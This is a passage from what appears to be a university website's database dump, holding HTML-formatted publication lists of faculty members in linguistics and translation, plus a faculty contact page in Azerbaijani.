mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">11.\r\n\"W. Hemingway and His Work <em>In Our Time</em>.\"&nbsp;<em>Research\r\nPapers</em>. (2010) </p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">12.\r\n\"Metonymy in D. Defoe’s Novel <em>Robinson Crusoe.</em>”&nbsp;Tbilisi\r\nTechnical University (2010) </p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Daniel\r\nPaul</strong></p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Publications:\r\nArticles and Research&nbsp;</strong></p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">1.\r\nPaul, Daniel (2011)&nbsp;<em>A Comparative Dialectal Description of Iranian\r\nTaleshi</em>. PhD Diss, University of Manchester.</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">2.\r\nPaul, Daniel (2011) \'A Glance at the Deixis of Nominal Demonstratives in\r\nIranian Taleshi.\' In Korn, Agnes, Haig, Geoffrey, Karimi, Simin and Samvelian,\r\nPollet (eds),&nbsp;<em>Topics in Iranian Linguistics</em>, Wiesbaden: Reichert,\r\n89-102. [Peer Reviewed]</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">3.\r\nJahani, Carina and Paul, Daniel (2009) \'Fronting of the Voiceless Velar Plosive\r\nin Persian.\'&nbsp;<em>Orientalia Suecana.&nbsp;</em>Uppsala University.</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">4.\r\nPaul, Daniel (2008) ‘The Individuating Function of the Persian “Indefinite\r\nSuffix”.’&nbsp;<em>Proceedings of the First International Conference on Iranian\r\nLinguistics.</em>&nbsp;Scholars Press. [Peer Reviewed]</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">5.\r\nPaul, Daniel (2007) ‘Assessing language proficiency through storying.’&nbsp;<em>Newcastle\r\nWorking Papers in Linguistics.&nbsp;</em>13: 160-173<em>.</em>&nbsp;University of\r\nNewcastle. [Peer Reviewed]</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">6.\r\nPaul, Daniel et al (2005) ‘The Ethnolinguistic Vitality of Yaghnobi.’ In\r\nClifton, John M. (ed.),&nbsp;<em>Studies in Languages of Tajikistan</em>. SIL\r\nInternational.</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">7.\r\nPaul, Daniel (2004) ‘The Passive in Persian: An LFG Approach.’&nbsp;<em>SOAS\r\nWorking Papers in Linguistics</em>. 13: 221-235. SOAS, University of London.</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Calvin\r\nTiessen</strong></p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Publications:\r\nArticles and Research</strong></p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">1.\r\n\"Ishkashimi: a father\'s language: how a very small language\r\nsurvives.\" In&nbsp;<em>Studies in languages of Tajikistan</em>, John M.\r\nClifton (ed.), Dushanbe, Tajikistan and St. Petersburg, Russia: National State\r\nUniversity of Tajikistan and North Eurasia Group, SIL International, 2005</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">2.\r\n\"The ethnolinguistic vitality of Yaghnobi.\" in&nbsp;<em>Studies in\r\nlanguages of Tajikistan</em>, John M. Clifton (ed.), Dushanbe, Tajikistan and\r\nSt. Petersburg, Russia: National State University of Tajikistan and North\r\nEurasia Group, SIL International, 2005</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">3.\r\n\"Language in community-oriented and contact-oriented domains: the case of\r\nthe Shughni of Tajikistan.\"&nbsp;in&nbsp;<em>Studies in languages of\r\nTajikistan</em>, John M. Clifton (ed.), Dushanbe, Tajikistan and St. Petersburg,\r\nRussia: National State University of Tajikistan and North Eurasia Group, SIL\r\nInternational, 2005</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">4.\r\n\"Language access and Tajik language proficiency among the Yazghulami of\r\nTajikistan.\" .\" in&nbsp;<em>Studies in languages of Tajikistan</em>,\r\nJohn M. Clifton (ed.), Dushanbe, Tajikistan and St. Petersburg, Russia:\r\nNational State University of Tajikistan and North Eurasia Group, SIL International,\r\n2005</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">5.\r\n“Language maintenance among the Parya of Tajikistan.” .\" in&nbsp;<em>Studies\r\nin languages of Tajikistan</em>, John M. Clifton (ed.), Dushanbe, Tajikistan and\r\nSt. Petersburg, Russia: National State University of Tajikistan and North\r\nEurasia Group, SIL International, 2005</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">6.\r\n“Positive Orientation Towards the Vernacular Among the Talysh of Sumgayit.”\r\nM.A. Thesis, University of North Dakota, 2003.</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">7.\r\n\"The Sociolinguistic Situation of the Avar in Azerbaijan.\" in&nbsp;<em>Studies\r\nin Languages of Azerbaijan</em>, John M. Clifton (ed.), 2 vols., Baku,\r\nAzerbaijan and St. Petersburg, Russia: Institute of International Relations,\r\nAcademy of Sciences of Azerbaijan and North Eurasian Group, SIL International,\r\n2003</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">8.\r\n\"The sociolinguistic situation of the Inghiloi in Azerbaijan.\"in&nbsp;<em>Studies\r\nin languages of Azerbaijan</em>, John M. Clifton (ed.), 2 vols., Baku,\r\nAzerbaijan and St. Petersburg, Russia: Institute of International Relations,\r\nAcademy of Sciences of Azerbaijan and North Eurasian Group, SIL International,\r\n2003</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">9.&nbsp;\"The\r\nsociolinguistic situation of the Talysh in Azerbaijan.\" in&nbsp;<em>Studies\r\nin languages of Azerbaijan</em>, John M. Clifton (ed.), 2 vols., Baku,\r\nAzerbaijan and St. Petersburg, Russia: Institute of International Relations,\r\nAcademy of Sciences of Azerbaijan and North Eurasian Group, SIL International,\r\n2003</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">10.&nbsp;\"The\r\nsociolinguistic situation of the Tat and Mountain Jews.in Azerbaijan.\"\r\nin&nbsp;<em>Studies in languages of Azerbaijan</em>, John M. Clifton (ed.), 2\r\nvols., Baku, Azerbaijan and St. Petersburg, Russia: Institute of International\r\nRelations, Academy of Sciences of Azerbaijan and North Eurasian Group, SIL\r\nInternational, 2003</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">11.&nbsp;\"The\r\nsociolinguistic situation of the Tsakhur in Azerbaijan.\" in&nbsp;<em>Studies\r\nin languages of Azerbaijan</em>, John M. Clifton (ed.), 2 vols., Baku,\r\nAzerbaijan and St. Petersburg, Russia: Institute of International Relations,\r\nAcademy of Sciences of Azerbaijan and North Eurasian Group, SIL International,\r\n2003</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">12.\r\n\"The sociolinguistic situation of the Budukh in Azerbaijan.\" in&nbsp;<em>Studies\r\nin languages of Azerbaijan</em>, John M. Clifton (ed.), 2 vols., Baku,\r\nAzerbaijan and St. Petersburg, Russia: Institute of International Relations,\r\nAcademy of Sciences of Azerbaijan and North Eurasian Group, SIL International,\r\n2003</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">13.&nbsp;\"The\r\nsociolinguistic situation of the Khinalug in Azerbaijan.\" in&nbsp;<em>Studies\r\nin languages of Azerbaijan</em>, John M. Clifton (ed.), 2 vols., Baku,\r\nAzerbaijan and St. Petersburg, Russia: Institute of International Relations,\r\nAcademy of Sciences of Azerbaijan and North Eurasian Group, SIL International,\r\n2003</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">14.&nbsp;\"The\r\nsociolinguistic situation of the Kryz in Azerbaijan.\" in&nbsp;<em>Studies\r\nin languages of Azerbaijan</em>, John M. Clifton (ed.), 2 vols., Baku,\r\nAzerbaijan and St. Petersburg, Russia: Institute of International Relations,\r\nAcademy of Sciences of Azerbaijan and North Eurasian Group, SIL International,\r\n2003</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">15.\r\n\"The sociolinguistic situation of the Lezgi in Azerbaijan.\" in&nbsp;<em>Studies\r\nin languages of Azerbaijan</em>, John M. Clifton (ed.), 2 vols., Baku,\r\nAzerbaijan and St. Petersburg, Russia: Institute of International Relations,\r\nAcademy of Sciences of Azerbaijan and North Eurasian Group, SIL International,\r\n2003&nbsp;</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n  <div style=\"text-align:justify\"><br></div>'),(927,608,'en','Publications','Publications','<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Eldar\r\nShahgaldiyev</strong></p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Textbooks\r\nand Monographs</strong>:</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">1.&nbsp;Brochure:\r\n“What Is Persona­lity?”, A Questionnaire for Conducting Sociological Surveys on\r\nMoral and Psychological Climate of Labor Units”, Baku, 1990 (in Azeri);</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">2.&nbsp;Article:\r\n“Teaching of English at the Secondary Schools - Advanced Teaching Experience in\r\nReading and Speaking”, Baku, Azerbaijan, 1990;</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">3.&nbsp;Monograph:\r\n“Content Analyses of the Notion of “Moral Psychological Climate”, “Moral\r\nPsychological Climate of the Labor Units”, Baku, Ganjlik, 1991 (in Russian);</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">4.&nbsp;Article:\r\nAbout the Content of the Notion” Moral-Psychological Climate”. Magazine of Azerbaijan&nbsp;Academy\r\nof Sciences “History, Philosophy, Law”, 1991, No 12.</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">5.&nbsp;Textbook\r\nfor the University Students: “Reading Topics and Discussions”, Baku, Khazar\r\nUniversity Press, 2007 (in English)</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">6.&nbsp;Translation\r\nand edition of the book: “The Evening Stories”, Baku, Shams, 2007 (in English);</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">7.&nbsp;Textbook\r\nfor the University students: “English for Special Purposes (ESP) for Petroleum\r\nEngineering”, Khazar Press, (under preparation).</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">8.&nbsp;Abstract\r\nand Report: “Theoretical and Practical Substantiations of the Role of Assessment\r\nin Improving Teacher Quality”, International Association for Educational\r\nAssessment, 33<sup>rd</sup>&nbsp;Annual Conference, 16-21 September 2007. Baku,\r\n2007, p.&nbsp;129</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">9.\r\nAssignments for the Students from the Bioethics. Brochure for the Medical University\r\nStudents, Baku, Azerbaijani Medical University Press, 2007</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">10.\r\nArticle:”On the Traces of Fazlullah Naimi” (by professor Camal Mustafayev)\r\n(Translated from Azerbaijani into English), Khazar Xeber, May-June, 2008. #\r\n250-252</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">11.\r\nEditor of the Textbook for the Students of Medical University “A Human Anatomy”\r\n(in English) (by Professor E. Alakbarov), Baku, 2009</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Irina\r\nOrucova</strong></p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Publications:</strong>&nbsp;<strong>Names of authored scientific articles: </strong></p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">1.\r\n\"Teaching Translation of Official, Political and Business\r\nTexts.\"&nbsp;<em>Humanitarian</em>&nbsp;<em>Scientific</em>&nbsp;<em>Magazine.</em>(2000).\r\n</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">2. \"Functions and Meaning of Some Identical Words and Grammar Constructions\r\nin English Scientific, Official and Political Literature.\"&nbsp;<em>Humanitarian</em>&nbsp;<em>Scientific</em>&nbsp;<em>Magazine.</em>&nbsp;(2001).\r\n</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">3.\r\n\"Teaching Reading as One of the Integrated Skills.\"&nbsp;<em>Scientific\r\nNews.</em>&nbsp;(2004) </p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">4.\r\n\"Neologisms and Their Translation from English into Russian.\"&nbsp;<em>Scientific\r\nNews.</em>&nbsp;(2005) </p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">5.\r\n\"Problems of Translation of Scientific Terminology from English into\r\nRussian.\"<em>&nbsp;Research Papers.</em>(2006) </p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">6.\r\n\"Types of English Abbreviations and Their Translation into\r\nRussian.\"&nbsp;<em>Research Papers.</em> (2007) </p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">7.\r\n\"Language Idiosyncrasy of J.Salinger’s Novel <em>The Catcher in the Rye.</em>”&nbsp;<em>Research\r\nPapers.</em>&nbsp;(2008) </p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">8.\r\n\"Stylistic Problems of Medical Texts Translation.\"&nbsp;<em>Research\r\nPapers.</em>&nbsp;(2009) </p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">9.\r\n\"Stylistic Peculiarities of Syntactic Structures of the Novels by\r\nW.&nbsp;Faulkner and L.&nbsp;Tolstoy.\"&nbsp;<em>Research Papers.</em>&nbsp;(2009)\r\n</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">10.\r\n\"William Faulkner’s Style of Writing;\"&nbsp;<em>Research Papers.</em>&nbsp;(2009)\r\n</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">11.\r\n\"W. Hemingway and His Work <em>In Our Time</em>.\"&nbsp;<em>Research\r\nPapers</em>. (2010) </p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">12.\r\n\"Metonymy in D. Defoe’s Novel <em>Robinson Crusoe.</em>”&nbsp;Tbilisi\r\nTechnical University (2010) </p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Daniel\r\nPaul</strong></p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Publications:\r\nArticles and Research&nbsp;</strong></p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">1.\r\nPaul, Daniel (2011)&nbsp;<em>A Comparative Dialectal Description of Iranian\r\nTaleshi</em>. PhD Diss, University of Manchester.</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">2.\r\nPaul, Daniel (2011) \'A Glance at the Deixis of Nominal Demonstratives in\r\nIranian Taleshi.\' In Korn, Agnes, Haig, Geoffrey, Karimi, Simin and Samvelian,\r\nPollet (eds),&nbsp;<em>Topics in Iranian Linguistics</em>, Wiesbaden: Reichert,\r\n89-102. [Peer Reviewed]</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">3.\r\nJahani, Carina and Paul, Daniel (2009) \'Fronting of the Voiceless Velar Plosive\r\nin Persian.\'&nbsp;<em>Orientalia Suecana.&nbsp;</em>Uppsala University.</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">4.\r\nPaul, Daniel (2008) ‘The Individuating Function of the Persian “Indefinite\r\nSuffix”.’&nbsp;<em>Proceedings of the First International Conference on Iranian\r\nLinguistics.</em>&nbsp;Scholars Press. [Peer Reviewed]</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">5.\r\nPaul, Daniel (2007) ‘Assessing language proficiency through storying.’&nbsp;<em>Newcastle\r\nWorking Papers in Linguistics.&nbsp;</em>13: 160-173<em>.</em>&nbsp;University of\r\nNewcastle. [Peer Reviewed]</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">6.\r\nPaul, Daniel et al (2005) ‘The Ethnolinguistic Vitality of Yaghnobi.’ In\r\nClifton, John M. (ed.),&nbsp;<em>Studies in Languages of Tajikistan</em>. SIL\r\nInternational.</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">7.\r\nPaul, Daniel (2004) ‘The Passive in Persian: An LFG Approach.’&nbsp;<em>SOAS\r\nWorking Papers in Linguistics</em>. 13: 221-235. SOAS, University of London.</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">&nbsp;</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Calvin\r\nTiessen</strong></p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\"><strong>Publications:\r\nArticles and Research</strong></p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">1.\r\n\"Ishkashimi: a father\'s language: how a very small language\r\nsurvives.\" In&nbsp;<em>Studies in languages of Tajikistan</em>, John M.\r\nClifton (ed.), Dushanbe, Tajikistan and St. Petersburg, Russia: National State\r\nUniversity of Tajikistan and North Eurasia Group, SIL International, 2005</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">2.\r\n\"The ethnolinguistic vitality of Yaghnobi.\" in&nbsp;<em>Studies in\r\nlanguages of Tajikistan</em>, John M. Clifton (ed.), Dushanbe, Tajikistan and\r\nSt. Petersburg, Russia: National State University of Tajikistan and North\r\nEurasia Group, SIL International, 2005</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">3.\r\n\"Language in community-oriented and contact-oriented domains: the case of\r\nthe Shughni of Tajikistan.\"&nbsp;in&nbsp;<em>Studies in languages of\r\nTajikistan</em>, John M. Clifton (ed.), Dushanbe, Tajikistan and St. Petersburg,\r\nRussia: National State University of Tajikistan and North Eurasia Group, SIL\r\nInternational, 2005</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">4.\r\n\"Language access and Tajik language proficiency among the Yazghulami of\r\nTajikistan.\" .\" in&nbsp;<em>Studies in languages of Tajikistan</em>,\r\nJohn M. Clifton (ed.), Dushanbe, Tajikistan and St. Petersburg, Russia:\r\nNational State University of Tajikistan and North Eurasia Group, SIL International,\r\n2005</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">5.\r\n“Language maintenance among the Parya of Tajikistan.” .\" in&nbsp;<em>Studies\r\nin languages of Tajikistan</em>, John M. Clifton (ed.), Dushanbe, Tajikistan and\r\nSt. Petersburg, Russia: National State University of Tajikistan and North\r\nEurasia Group, SIL International, 2005</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">6.\r\n“Positive Orientation Towards the Vernacular Among the Talysh of Sumgayit.”\r\nM.A. Thesis, University of North Dakota, 2003.</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">7.\r\n\"The Sociolinguistic Situation of the Avar in Azerbaijan.\" in&nbsp;<em>Studies\r\nin Languages of Azerbaijan</em>, John M. Clifton (ed.), 2 vols., Baku,\r\nAzerbaijan and St. Petersburg, Russia: Institute of International Relations,\r\nAcademy of Sciences of Azerbaijan and North Eurasian Group, SIL International,\r\n2003</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">8.\r\n\"The sociolinguistic situation of the Inghiloi in Azerbaijan.\"in&nbsp;<em>Studies\r\nin languages of Azerbaijan</em>, John M. Clifton (ed.), 2 vols., Baku,\r\nAzerbaijan and St. Petersburg, Russia: Institute of International Relations,\r\nAcademy of Sciences of Azerbaijan and North Eurasian Group, SIL International,\r\n2003</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">9.&nbsp;\"The\r\nsociolinguistic situation of the Talysh in Azerbaijan.\" in&nbsp;<em>Studies\r\nin languages of Azerbaijan</em>, John M. Clifton (ed.), 2 vols., Baku,\r\nAzerbaijan and St. Petersburg, Russia: Institute of International Relations,\r\nAcademy of Sciences of Azerbaijan and North Eurasian Group, SIL International,\r\n2003</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">10.&nbsp;\"The\r\nsociolinguistic situation of the Tat and Mountain Jews.in Azerbaijan.\"\r\nin&nbsp;<em>Studies in languages of Azerbaijan</em>, John M. Clifton (ed.), 2\r\nvols., Baku, Azerbaijan and St. Petersburg, Russia: Institute of International\r\nRelations, Academy of Sciences of Azerbaijan and North Eurasian Group, SIL\r\nInternational, 2003</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">11.&nbsp;\"The\r\nsociolinguistic situation of the Tsakhur in Azerbaijan.\" in&nbsp;<em>Studies\r\nin languages of Azerbaijan</em>, John M. Clifton (ed.), 2 vols., Baku,\r\nAzerbaijan and St. Petersburg, Russia: Institute of International Relations,\r\nAcademy of Sciences of Azerbaijan and North Eurasian Group, SIL International,\r\n2003</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">12.\r\n\"The sociolinguistic situation of the Budukh in Azerbaijan.\" in&nbsp;<em>Studies\r\nin languages of Azerbaijan</em>, John M. Clifton (ed.), 2 vols., Baku,\r\nAzerbaijan and St. Petersburg, Russia: Institute of International Relations,\r\nAcademy of Sciences of Azerbaijan and North Eurasian Group, SIL International,\r\n2003</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">13.&nbsp;\"The\r\nsociolinguistic situation of the Khinalug in Azerbaijan.\" in&nbsp;<em>Studies\r\nin languages of Azerbaijan</em>, John M. Clifton (ed.), 2 vols., Baku,\r\nAzerbaijan and St. Petersburg, Russia: Institute of International Relations,\r\nAcademy of Sciences of Azerbaijan and North Eurasian Group, SIL International,\r\n2003</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">14.&nbsp;\"The\r\nsociolinguistic situation of the Kryz in Azerbaijan.\" in&nbsp;<em>Studies\r\nin languages of Azerbaijan</em>, John M. Clifton (ed.), 2 vols., Baku,\r\nAzerbaijan and St. Petersburg, Russia: Institute of International Relations,\r\nAcademy of Sciences of Azerbaijan and North Eurasian Group, SIL International,\r\n2003</p>\r\n<p style=\"text-align: justify;\" mso-margin-top-alt:auto;text-align:justify;line-height:normal\";margin-bottom:auto\"=\"\">15.\r\n\"The sociolinguistic situation of the Lezgi in Azerbaijan.\" in&nbsp;<em>Studies\r\nin languages of Azerbaijan</em>, John M. Clifton (ed.), 2 vols., Baku,\r\nAzerbaijan and St. Petersburg, Russia: Institute of International Relations,\r\nAcademy of Sciences of Azerbaijan and North Eurasian Group, SIL International,\r\n2003&nbsp;</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n  <div style=\"text-align:justify\"><br></div>'),(928,607,'az',' Xəzər kuriyer (tələbə qəzeti)',' Xəzər kuriyer (tələbə qəzeti)',''),(929,277,'az','Professor-müəllim heyəti','Professor-müəllim heyəti','<p><img src=\"/files/radio_depart/IMG_1170.JPG\" style=\"border:0px #000000;float:left;width:170px;height:170px;margin:7px\"></p><p><strong><a href=\"http://www.khazar.org/files/radio_depart/Nuru%20Safarov%20az%20CV.pdf\">Nuru&nbsp;Səfərov</a><a href=\"http://www.khazar.org/files/radio_depart/CV_nuru_14_sent2017.PDF\"></a></strong></p><p><strong>Elektronika və Telekommunikasiya Departamentinin müdiri</strong></p><p>PhD (Azərbaycan Milli Elmlər Akademiyası)</p><p>MS, Radiofizika və Elektronika (Dnepropetrovsk Dövlət Universiteti, Ukrayna)</p><p>E-poçt:&nbsp;<a href=\"http://mailto:%20nsafarov@khazar.org/\">nsafarov@khazar.org<br></a></p><p><br></p><p><br></p><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><p><img src=\"/files/radio_depart/IMG-20180117-WA0003-new.jpg\" style=\"width:150px;height:166px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/radio_depart/Farida%20Tatardar%20CV%20-az.pdf\">Fəridə&nbsp;Tatardar</a>&nbsp;</strong></p><p>PhD (Azərbaycan Milli Elmlər Akademiyası)  </p><p>MS, Bioloji sistemlərin fizikası (Bakı Dövlət Universiteti,&nbsp;Azərbaycan)</p><p>E-poçt:&nbsp;<a href=\"http://mailto:%20tatardar.farida@rambler.ru/\">tatardar.farida@rambler.ru</a>&nbsp;</p>\r\n<p><br></p><p><br></p><p><br></p><hr style=\"width:100%;height:1px\" 